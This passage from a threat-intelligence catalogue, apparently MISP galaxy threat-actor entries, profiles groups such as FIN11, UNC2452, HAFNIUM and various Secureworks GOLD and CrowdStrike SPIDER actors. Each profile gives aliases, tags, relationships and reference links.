Evil Corp is also known as:

• GOLD DRAKE

Table 11378. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/">https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Maksim_Yakubets">https://en.wikipedia.org/wiki/Maksim_Yakubets</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-drake">http://www.secureworks.com/research/threat-profiles/gold-drake</a></td>
</tr>
</tbody>
</table>
TRACER KITTEN

In April 2020, Crowstrike Falcon OverWatch discovered Iran-based adversary TRACER KITTEN conducting malicious interactive activity against multiple hosts at a telecommunications company in the Europe, Middle East and Africa (EMEA) region. The actor was found operating under valid user accounts, using custom backdoors in combination with SSH tunnels for C2. The adversary leveraged their foothold to conduct a variety of reconnaissance activities, undertake credential harvesting and prepare for data exfiltration.

The tag is: `misp-galaxy:threat-actor="TRACER KITTEN"`

Table 11379. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf">hyperlink</a></td>
</tr>
</tbody>
</table>

FIN11

FIN11 is a well-established financial crime group that has recently focused its operations on ransomware and extortion. The group has been active since 2017 and has been tracked under UNC902 and later on as TEMP.Warlok. In some ways, FIN11 is reminiscent of APT1; they are notable not for their sophistication, but for their sheer volume of activity.(FireEye) Mandiant has also responded to numerous FIN11 intrusions, but we’ve only observed the group successfully monetize access in few instances. This could suggest that the actors cast a wide net during their phishing operations, then choose which victims to further exploit based on characteristics such as sector, geolocation or perceived security posture. Recently, FIN11 has deployed CLOP ransomware and threatened to publish exfiltrated data to pressure victims into paying ransom demands. The group's shifting monetization methods—from point-of-sale (POS) malware in 2018, to ransomware in 2019, and hybrid extortion in 2020—is part of a larger trend in which criminal actors have increasingly focused on post-compromise ransomware deployment and data theft extortion. Notably, FIN11 includes a subset of the activity security researchers call TA505, Graceful Spider, Gold Evergreen, but we do not attribute TA505's early operations to FIN11 and caution against using the names interchangeably. Attribution of both historic TA505 activity and more recent FIN11 activity is complicated by the actors’ use of criminal service providers. Like most financially motivated actors, FIN11 doesn’t operate in a vacuum. We believe that the group has used services that provide anonymous domain registration, bulletproof hosting, code signing certificates, and private or semi-private malware. Outsourcing work to these criminal service providers likely enables FIN11 to increase the scale and sophistication of their operations.

The tag is: `misp-galaxy:threat-actor="FIN11"`

FIN11 is also known as:

- TEMP.Warlok
- UNC902
FIN11 has relationships with:

- similar: `misp-galaxy:microsoft-activity-group=Lace Tempest` with `estimative-language:likelihood-probability=likely`

**UNC1878**

UNC1878 is a financially motivated threat actor that monetizes network access via the deployment of RYUK ransomware. Earlier this year, Mandiant published a blog on a fast-moving adversary deploying RYUK ransomware, UNC1878. Shortly after its release, there was a significant decrease in observed UNC1878 intrusions and RYUK activity overall almost completely vanishing over the summer. But beginning in early fall, Mandiant has seen a resurgence of RYUK along with TTP overlaps indicating that UNC1878 has returned from the grave and resumed their operations.

The tag is: `misp-galaxy:threat-actor="UNC1878"`

**Red Charon**

Throughout 2019, multiple companies in the Taiwan high-tech ecosystem were victims of an advanced persistent threat (APT) attack. Due to these APT attacks having similar behavior profiles (similar adversarial techniques, tactics, and procedures or TTP) with each other and previously documented cyberattacks, CyCraft assess with high confidence these new attacks were conducted by the same foreign threat actor. During their investigation, they dubbed this threat actor Chimera. “Chimera” stands for the synthesis of hacker tools that they've seen the group use, such as the skeleton key malware that contained code extracted from both Dumpert and Mimikatz — hence
Chimera. Their operation — the entirety of the new attacks utilizing the Skeleton Key attack (described below) from late 2018 to late 2019, CyCraft have dubbed Operation Skeleton Key.

The tag is: `misp-galaxy:threat-actor="Red Charon"`

**Table 11382. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/">https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730">https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730</a></td>
</tr>
</tbody>
</table>

**UNC2452**

Reporting regarding activity related to the SolarWinds supply chain injection has grown quickly since initial disclosure on 13 December 2020. A significant amount of press reporting has focused on the identification of the actor(s) involved, victim organizations, possible campaign timeline, and potential impact. The US Government and cyber community have also provided detailed information on how the campaign was likely conducted and some of the malware used. MITRE’s ATT&CK team — with the assistance of contributors — has been mapping techniques used by the actor group, referred to as UNC2452/Dark Halo by FireEye and Volexity respectively, as well as SUNBURST and TEARDROP malware.

The tag is: `misp-galaxy:threat-actor="UNC2452"`

UNC2452 is also known as:

- DarkHalo
- StellarParticle
- NOBELIUM
- Solar Phoenix

**View relationships graph**

UNC2452 has relationships with:

- similar: `misp-galaxy:microsoft-activity-group="NOBELIUM"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:tool="SNOWYAMBER"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:tool="HALFRIG"` with estimative-language:likelihood-probability="likely"
TeamTNT

In early February, 2021 TeamTNT launched a new campaign against Docker and Kubernetes environments. Using a collection of container images that are hosted in Docker Hub, the attackers are targeting misconfigured docker daemons, Kubeflow dashboards, and Weave Scope, exploiting these environments in order to steal cloud credentials, open backdoors, mine cryptocurrency, and launch a worm that is looking for the next victim. They're linked to the First Crypto-Mining Worm to Steal AWS Credentials and Hildegard Cryptojacking malware. TeamTNT is a relatively recent addition to a growing number of threats targeting the cloud. While they employ some of the same tactics as similar groups, TeamTNT stands out with their social media presence and penchant for self-promotion. Tweets from the TeamTNT's account are in both English and German although it is unknown if they are located in Germany.

The tag is: misp-galaxy:threat-actor="TeamTNT"

TeamTNT is also known as:

- Adept Libra
HAFNIUM

HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures. HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they've gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA. In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets' environments. HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.

The tag is: `misp-galaxy:threat-actor="HAFNIUM"`

HAFNIUM is also known as:

- ATK233
- G0125
- Operation Exchange Marauder
- Red Dev 13

View relationships graph

HAFNIUM has relationships with:

- similar: `misp-galaxy:microsoft-activity-group="HAFNIUM"` with `estimative-language:likelihood-probability="almost-certain"`
- similar: `misp-galaxy:microsoft-activity-group="Silk Typhoon"` with `estimative-`
### Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0125/">https://attack.mitre.org/groups/G0125/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers">https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/">https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/</a></td>
</tr>
<tr>
<td><a href="https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers">https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers</a></td>
</tr>
<tr>
<td><a href="https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day">https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1366862946488451088">https://twitter.com/ESETresearch/status/1366862946488451088</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html">https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-062a">https://us-cert.cisa.gov/ncas/alerts/aa21-062a</a></td>
</tr>
<tr>
<td><a href="https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289">https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289</a></td>
</tr>
<tr>
<td><a href="https://github.com/cert-lv/exchange_webshell_detection">https://github.com/cert-lv/exchange_webshell_detection</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits">https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021">https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021</a></td>
</tr>
<tr>
<td><a href="https://pastebin.com/J4L3r2RS">https://pastebin.com/J4L3r2RS</a></td>
</tr>
<tr>
<td><a href="https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers">https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server">https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server</a></td>
</tr>
<tr>
<td><a href="https://www.nextron-systems.com/2021/03/06/scan-for-hafnium-exploitation-evidence-with-thor-lite">https://www.nextron-systems.com/2021/03/06/scan-for-hafnium-exploitation-evidence-with-thor-lite</a></td>
</tr>
<tr>
<td><a href="https://www.thedailybeast.com/how-chinas-devastating-microsoft-hack-puts-us-all-at-risk">https://www.thedailybeast.com/how-chinas-devastating-microsoft-hack-puts-us-all-at-risk</a></td>
</tr>
</tbody>
</table>
RedEcho

RedEcho: The group made heavy use of AXIOMATICASYMPTOTE — a term we use to track infrastructure that comprises ShadowPad C2s, which is shared between several Chinese threat activity groups.

The tag is: misp-galaxy:threat-actor="RedEcho"

Table 11386. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.recordedfuture.com/redecho-targeting-indian-power-sector/">https://www.recordedfuture.com/redecho-targeting-indian-power-sector/</a></td>
</tr>
</tbody>
</table>

Ghostwriter

Ghostwriter is referred as an ‘activity set’, with various incidents tied together by overlapping behavioral characteristics and personas, rather than as an actor or group in itself.

The tag is: misp-galaxy:threat-actor="Ghostwriter"

Ghostwriter is also known as:

- UNC1151
- TA445
- PUSHCHA

View relationships graph

Ghostwriter has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Storm-0257" with estimative-language:likelihood-probability="likely"

Table 11387. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/07/ghostwriter-influence-campaign.html">https://www.fireeye.com/blog/threat-research/2020/07/ghostwriter-influence-campaign.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/hatr/status/1377220336597483520">https://twitter.com/hatr/status/1377220336597483520</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/unc1151-linked-to-belarus-government">https://www.mandiant.com/resources/unc1151-linked-to-belarus-government</a></td>
</tr>
</tbody>
</table>
Yanbian Gang

RiskIQ characterizes the Yanbian Gang as a group that targeted South Korean Android mobile banking customers since 2013 with malicious Android apps purporting to be from major banks, namely Shinhan Savings Bank, Saemaul Geumgo, Shinhan Finance, KB Kookmin Bank, and NH Savings Bank.

The tag is: `misp-galaxy:threat-actor="Yanbian Gang"`

Table 11388. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

TRAVELING SPIDER

Crowdstrike Tracks the criminal developer of Nemty ransomware as TRAVELING SPIDER. The actor has been observed to take advantage of single-factor authentication to gain access to victim organizations through Citrix Gateway and send extortion-related emails using the victim’s own Microsoft Office 365 instance.

The tag is: `misp-galaxy:threat-actor="TRAVELING SPIDER"`

Table 11389. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/">https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/</a></td>
</tr>
</tbody>
</table>
MALLARD SPIDER

Crowdstrike tracks the operators behind the Qbot as MALLARD SPIDER.

The tag is: `misp-galaxy:threat-actor="MALLARD SPIDER"`

MALLARD SPIDER is also known as:

- GOLD LAGOON

Table 11390. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

RIDDLE SPIDER

According to Crowdstrike, RIDDLE SPIDER is the operator behind the avaddon ransomware.

The tag is: `misp-galaxy:threat-actor="RIDDLE SPIDER"`

Table 11391. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
</tbody>
</table>

GOLD DUPONT

GOLD DUPONT is a financially motivated cybercriminal threat group that specializes in post-intrusion ransomware attacks using 777 (aka Defray777 or RansomExx) malware. Active since November 2018, GOLD DUPONT establishes initial access into victim networks using stolen credentials to remote access services like virtual desktop infrastructure (VDI) or virtual private networks (VPN). From October 2019 to early 2020 the group used GOLD BLACKBURN's TrickBot malware as an initial access vector (IAV) during some intrusions. Since July 2020, the group has also used GOLD SWATHMORE’s IcedID (Bokbot) malware as an IAV in some intrusions.

The tag is: `misp-galaxy:threat-actor="GOLD DUPONT"`

GOLD DUPONT is also known as:

- SPRITE SPIDER

Table 11392. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-dupont">https://www.secureworks.com/research/threat-profiles/gold-dupont</a></td>
</tr>
</tbody>
</table>
KNOCKOUT SPIDER

KNOCKOUT SPIDER has conducted low-volume spear-phishing campaigns focused on companies involved in cryptocurrency.

The tag is: *misp-galaxy:threat-actor*="KNOCKOUT SPIDER"

SOLAR SPIDER

SOLAR SPIDER's phishing campaigns deliver the JSOutProx RAT to financial institutions across Africa, the Middle East, South Asia and Southeast Asia.

The tag is: *misp-galaxy:threat-actor*="SOLAR SPIDER"

VIKING SPIDER

VIKING SPIDER is the criminal group behind the development and distribution of Ragnar Locker ransomware. While public reporting indicates the group began threatening to leak victim data in February 2020, a DLS was not observed until April 2020. The DLS is hosted on Tor, and similar to other actors, proof of data exfiltration is provided before the stolen data is fully leaked. It was also noted that On Dec. 22, 2020, a new post made to MountLocker ransomware's Tor-hosted DLS was titled 'Cartel News' and included details of a victim of VIKING SPIDER's Ragnar Locker

The tag is: *misp-galaxy:threat-actor*="VIKING SPIDER"
CIRCUS SPIDER

According to Crowdstrike, the NetWalker ransomware is being developed and maintained by a Russian-speaking actor designated as CIRCUS SPIDER. Initially discovered in September 2019 and having a compilation timestamp dating back to 28 August 2019, NetWalker has been found to be used in Big Game Hunting (BGH)-style operations while also being distributed via spam. CIRCUS SPIDER is advertising NetWalker as a closed-affiliate program and verifies applicants before they are accepted as an affiliate. The requirements range from providing proof of previous revenue in similar affiliates programs, experience in the field and what type of industry the applicant is targeting.

The tag is: misp-galaxy:threat-actor="CIRCUS SPIDER"

Table 11396. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/">https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/">https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf</a></td>
</tr>
</tbody>
</table>

GOLD EVERGREEN

GOLD EVERGREEN was a financially motivated cybercriminal threat group that operated the Gameover Zeus (aka Mapp, P2P Zeus) botnet until June 2014. It encompasses an expansive and long running criminal conspiracy operated by a confederation of individuals calling themselves The Business Club from the mid 2000s until 2014. GOLD EVERGREEN’s technical operation was facilitated primarily through botnets using the Zeus, JabberZeus, and eventually Gameover Zeus malware families. These malware families were designed and maintained by a Russian national Evgeniy Bogachev (aka 'slavik') who was indicted by the U.S. DOJ in 2014 and remains a fugitive.

The tag is: misp-galaxy:threat-actor="GOLD EVERGREEN"

Table 11397. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-evergreen">http://www.secureworks.com/research/threat-profiles/gold-evergreen</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group">https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group</a></td>
</tr>
</tbody>
</table>

BAMBOO SPIDER

Crowdstrike tracks the developer of Panda Zeus as BAMBOO SPIDER

The tag is: misp-galaxy:threat-actor="BAMBOO SPIDER"
BOSON SPIDER

BOSON SPIDER is a cyber criminal group, which was first identified in 2015, recently and inexplicably went dark in the spring of 2016, appears to be a tightly knit group operating out of Eastern Europe. They have used a variety of distribution mechanisms such as the infamous (and now defunct) angler exploit kit, and obfuscated JavaScript to reduce the detection by antivirus solutions.

The tag is: `misp-galaxy:threat-actor="BOSON SPIDER"`

OVERLORD SPIDER

OVERLORD SPIDER, aka The Dark Overlord. Similar to ransomware operators today, OVERLORD SPIDER likely purchased RDP access to compromised servers on underground forums in order to exfiltrate data from corporate networks. The actor was known to attempt to “sell back” the data to the respective victims, threatening to sell the data to interested parties should the victim refuse to pay. There was at least one identified instance of OVERLORD SPIDER successfully selling victim data on an underground market.

The tag is: `misp-galaxy:threat-actor="OVERLORD SPIDER"`

OUTLAW SPIDER

On May 7, 2019, Mayor Bernard “Jack” Young confirmed that the network for the U.S. City of Baltimore (CoB) was infected with ransomware, which was announced via Twitter1. This infection was later confirmed to be conducted by OUTLAW SPIDER, which is the actor behind the RobbinHood ransomware. The actor demanded to be paid 3 BTC (approximately $17,600 USD at the time) per infected system, or 13 BTC (approximately $76,500 USD at the time) for all infected systems to recover the city’s files.
The tag is: misp-galaxy:threat-actor="OUTLAW SPIDER"

Table 11401. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/">https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
</tbody>
</table>

MIMIC SPIDER

MIMIC SPIDER is mentioned in two summary reports only

The tag is: misp-galaxy:threat-actor="MIMIC SPIDER"

Table 11402. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

HOUND SPIDER

According to Crowdstrike, HOUND SPIDER affiliates arrested in Romania on December, 2017

The tag is: misp-galaxy:threat-actor="HOUND SPIDER"

Table 11403. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

GOLD BURLAP

GOLD BURLAP is a group of financially motivated criminals responsible for the development of the Pysa ransomware, also referred to as Mespinoza. Pysa is a cross-platform ransomware with known versions written in C++ and Python. As of December 2020, approximately 50 organizations had reportedly been targeted in Pysa ransomware attacks. The operators leverage 'name and shame' tactics to apply additional pressure to victims. As of January 2021, CTU researchers had found no Pysa advertisements on underground forums, which likely indicates that it is not operated as ransomware as a service (RaaS).

The tag is: misp-galaxy:threat-actor="GOLD BURLAP"
GOLD BURLAP is also known as:

- CYBORG SPIDER

View relationships graph

GOLD BURLAP has relationships with:

- uses: misp-galaxy:malpedia="Mespinoza" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:malpedia="MimiKatz" with estimative-language:likelihood-probability="very-likely"

Table 11404. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-burlap">http://www.secureworks.com/research/threat-profiles/gold-burlap</a></td>
</tr>
</tbody>
</table>

**GOLD CABIN**

GOLD CABIN is a financially motivated cybercriminal threat group operating a malware distribution service on behalf of numerous customers since 2018. GOLD CABIN uses malicious documents, often contained in password-protected archives, delivered through email to download and execute payloads. The second-stage payloads are most frequently Gozi ISFB (Ursnif) or IcedID (Bokbot), sometimes using intermediary malware like Valak. GOLD CABIN infrastructure relies on artificial appearing and frequently changing URLs created with a domain generation algorithm (DGA). The URLs host a PHP object that returns the malware as a DLL file.

The tag is: misp-galaxy:threat-actor="GOLD CABIN"

GOLD CABIN is also known as:

- Shakthak
- TA551
- ATK236
- G0127
- Monster Libra

Table 11405. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-cabin">https://www.secureworks.com/research/threat-profiles/gold-cabin</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0127/">https://attack.mitre.org/groups/G0127/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/monsterlibra/">https://unit42.paloaltonetworks.com/atoms/monsterlibra/</a></td>
</tr>
</tbody>
</table>
GOLD FAIRFAX

GOLD FAIRFAX is a financially motivated cybercriminal threat group responsible for the creation, distribution, and operation of the Ramnit botnet. Ramnit, the phonetic spelling of RMNet, the internal name of the core module, began operation in April 2010 and became widespread in July 2010. A particularly virulent file-infecting component of early Ramnit variants that spreads by modifying executables and HTML files has resulted in the continued prevalence of those early variants. Currently, Ramnit remains an actively maintained and distributed threat. The intent of Ramnit is to intercept and manipulate online financial transactions through modification of web browser behavior ('man-in-the-browser').

The tag is: misp-galaxy:threat-actor="GOLD FAIRFAX"

Table 11406. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-fairfax">http://www.secureworks.com/research/threat-profiles/gold-fairfax</a></td>
</tr>
</tbody>
</table>

GOLD FLANDERS

GOLD FLANDERS is a financially motivated group responsible for distributed denial of service (DDOS) attacks linked to extortion emails demanding between 5 and 30 bitcoins. The attacks consist mostly of fragmented UDP packets (DNS and NTP reflection) as well as other traffic that can vary per victim. The arrival of the extortion email is timed to coincide with a DDOS attack consisting of traffic between 20 Gbps and 200 Gbps and 12-15 million packets per second, lasting between 20 and 70 minutes targeted at a particular Autonomous System Number (ASN) or group of IP addresses. In some cases victim organisations have replied to these extortion emails and received personal replies from GOLD FLANDERS operators within 20 minutes.

The tag is: misp-galaxy:threat-actor="GOLD FLANDERS"

Table 11407. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-flanders">http://www.secureworks.com/research/threat-profiles/gold-flanders</a></td>
</tr>
</tbody>
</table>

GOLD GALLEON

GOLD GALLEON is a financially motivated cybercriminal threat group comprised of at least 20 criminal associates that collectively carry out business email compromise (BEC) and spoofing (BES) campaigns. The group appears to specifically target maritime organizations and their customers. CTU researchers have observed GOLD GALLEON targeting firms in South Korea, Japan, Singapore, Philippines, Norway, U.S., Egypt, Saudi Arabia, and Colombia. The threat actors leverage tools, tactics, and procedures that are similar to those used by other BEC/BES groups CTU researchers have previously investigated, such as GOLD SKYLINE. The groups have used the same caliber of publicly available malware (inexpensive and commodity remote access trojans), crypters, and email lures.
GOLD GARDEN

GOLD GARDEN was a financially motivated cybercriminal threat group that authored and operated the GandCrab ransomware from January 2018 through May 2019. GandCrab was operated as a ransomware-as-a-service operation whereby numerous affiliates distributed the malware and split ransom payments with the core operators. GOLD GARDEN maintained exclusive control of the development of GandCrab and associated command and control (C2) infrastructure. Individual affiliates, of which there were frequently more than a dozen in operation simultaneously, coordinated the distribution of GandCrab through spam emails, web exploit kits, pay-per-install botnets, and scan-and-exploit style attacks. On May 31, 2019 the operators announced they have halted operations with no intent to resume for unknown reasons. In April 2019 the operators of GOLD GARDEN transferred the source code of GandCrab to GOLD SOUTHFIELD who used it as the foundation of the REvil ransomware operation. GOLD SOUTHFIELD operates a similar affiliate program comprised largely of former GandCrab users and other groups recruited from underground forums.

GOLD MANSARD

GOLD MANSARD is a financially motivated cybercriminal threat group that operated the Nemty ransomware from August 2019. The threat actor behind Nemty is known on Russian underground forums as 'jsworm'. Nemty was operated as a ransomware as a service (RaaS) affiliate program and featured a 'name and shame' website where exfiltrated victim data was leaked. In April 2020, jsworm appeared to acquire new partners and retired the Nemty ransomware. This was followed by the introduction of Nefilim ransomware, which does not operate as an affiliate model. Nefilim has been used in post-intrusion ransomware attacks against organizations in logistics, telecommunications, energy and other sectors.
GOLD NORTHFIELD

Operational since at least October 2020, GOLD NORTHFIELD is a financially motivated cybercriminal threat group that leverages GOLD SOUTHFIELD's REvil ransomware in their attacks. To do this, the threat actors replace the configuration of the REvil ransomware binary with their own in an effort to repurpose the ransomware for their operations. GOLD NORTHFIELD has given this modified REvil ransomware variant the name 'LV ransomware'.

The tag is: misp-galaxy:threat-actor="GOLD NORTHFIELD"

Table 11411. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-northfield">http://www.secureworks.com/research/threat-profiles/gold-northfield</a></td>
</tr>
</tbody>
</table>

GOLD RIVERVIEW

GOLD RIVERVIEW was a financially motivated cybercriminal group that facilitated the distribution of malware- and scam-laden spam email on behalf of its customers. This threat group authored and sold the Necurs rootkit beginning in early 2014, including to GOLD EVERGREEN who integrated it into Gameover Zeus. GOLD RIVERVIEW also operated a global botnet that was colloquially known as Necurs (Crap2P) and was a major source of spam email from 2016 through 2018. Necurs distributed malware such as GOLD DRAKE's Dridex (Bugat v5), GOLD BLACKBURN's TrickBot, and other families like Locky and FlawedAmmy. Necurs also distributed a large volume of email pushing securities 'pump and dump' scams, rogue pharmacies, and fraudulent dating sites. On March 4, 2019 all three active segments of the Necurs botnet ceased operation and have not since resumed. On March 10, 2020 Microsoft took civil action against GOLD RIVERVIEW and made technical steps that would complicate the threat actors' ability to reconstitute the botnet.

The tag is: misp-galaxy:threat-actor="GOLD RIVERVIEW"

Table 11412. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-riverview">http://www.secureworks.com/research/threat-profiles/gold-riverview</a></td>
</tr>
</tbody>
</table>

GOLD SKYLINE

GOLD SKYLINE is a financially motivated cybercriminal threat group operating from Nigeria engaged in high-value wire fraud facilitated by business email compromise (BEC) and spoofing (BES). Also known as Wire-Wire Group 1 (WWG1), GOLD SKYLINE has been active since at least 2016 and relies heavily on compromised email accounts, social engineering, and increasingly malware to divert inter-organization funds transfers.
GOLD SOUTHFIELD

GOLD SOUTHFIELD is a financially motivated cybercriminal threat group that authors and operates the REvil (aka Sodinokibi) ransomware on behalf of various affiliated threat groups. Operational since April 2019, the group obtained the GandCrab source code from GOLD GARDEN, the operators of GandCrab that voluntarily withdrew their ransomware from underground markets in May 2019. GOLD SOUTHFIELD is responsible for authoring REvil and operating the backend infrastructure used by affiliates (also called partners) to create malware builds and to collect ransom payments from victims. CTU researchers assess with high confidence that GOLD SOUTHFIELD is a former GandCrab affiliate and continues to work with other former GandCrab affiliates.

GOLD SYMPHONY

GOLD SYMPHONY is a financially motivated cybercrime group, likely based in Russia, that is responsible for the development and sale on underground forums of the Buer Loader malware. First discovered around August 2019, Buer Loader is offered as a malware-as-a-service (MaaS) and has been advertised by a threat actor using the handle ‘memeos’. Customers include GOLD BLACKBURN, the operators of the TrickBot malware. In addition to TrickBot, Buer Loader has been reported to download Cobalt Strike and other tools for use in post-intrusion ransomware attacks.
**GOLD WATERFALL**

GOLD WATERFALL is a group of financially motivated cybercriminals responsible for the creation, distribution, and operation of the Darkside ransomware. Active since August 2020, GOLD WATERFALL uses a variety of tactics, techniques, and procedures (TTPs) to infiltrate and move laterally within targeted organizations to deploy Darkside ransomware to its most valuable resources. Among these TTPs are using malicious documents delivered by email to establish a foothold and using stolen credentials to access victims' remote access services. In November 2020, the 'darksupp' persona was observed advertising an affiliate program on several semi-exclusive underground forums, marking GOLD WATERFALL's entry into the ransomware-as-a-service (RaaS) landscape.

The tag is: *misp-galaxy:threat-actor="GOLD WATERFALL"

Table 11416. Table References

<table>
